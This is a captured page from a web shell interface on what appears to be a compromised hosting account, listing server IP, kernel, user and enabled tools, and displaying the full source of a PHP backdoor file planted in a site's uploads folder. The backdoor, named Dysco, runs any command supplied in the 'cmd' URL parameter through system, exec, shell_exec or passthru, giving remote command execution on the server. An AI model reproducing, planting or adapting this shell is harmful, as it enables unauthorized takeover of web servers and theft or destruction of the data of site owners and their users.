403Webshell
Server IP : 66.29.146.62  /  Your IP : 216.73.216.2
Web Server : LiteSpeed
System : Linux premium231.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : dokkdzvi ( 925)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dokkdzvi/morraa-ksa.store/uploads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dokkdzvi/morraa-ksa.store/uploads/1833365284.php
<?php

/*
 * Dysco(Dynamic PHP Shell Command for RCE)
 * Created by Petruknisme @2020
 * Contact: me@petruknisme.com
 */


function Dysco($command)
{
    $list_function_shell = array("system", "exec", "shell_exec", "passthru", "eval");
    $f_enabled = array_filter($list_function_shell, 'function_exists');
    
    echo "Enabled Function:\n<br/>";
    foreach($f_enabled as $f)
    {
        echo $f." ";
    }

    if($f_enabled !== ""){
        $f = $f_enabled[0];
        echo "<br/>\nUsing ". $f. " as shell command\n<br/>";
         
        if($f == "system" || $f == "passthru"){
            // disable multiple output for system
            ob_start();
            $output =  $f($command, $status);
            ob_clean(); 
        }
        else if($f == "exec"){
            $f($command, $output, $status);
            $output = implode("n", $output);
        }
        else if($f == "shell_exec"){
            $output = $f($command);
        }
        else{
            $output = "Command execution not possible. All supported function is disabled.";
            $status = 1;
        }
 
    }
	
    return array('output' => $output , 'status' => $status);
}

// for HTTP GET use this.

if(isset($_GET['cmd'])){
    $o = Dysco($_GET['cmd']);
    echo $o['output'];
}

// for debugging in local, use this

//$o = shell_spawn('uname -a');
//echo $o['output'];
?>

Youez - 2016 - github.com/yon3zu
LinuXploit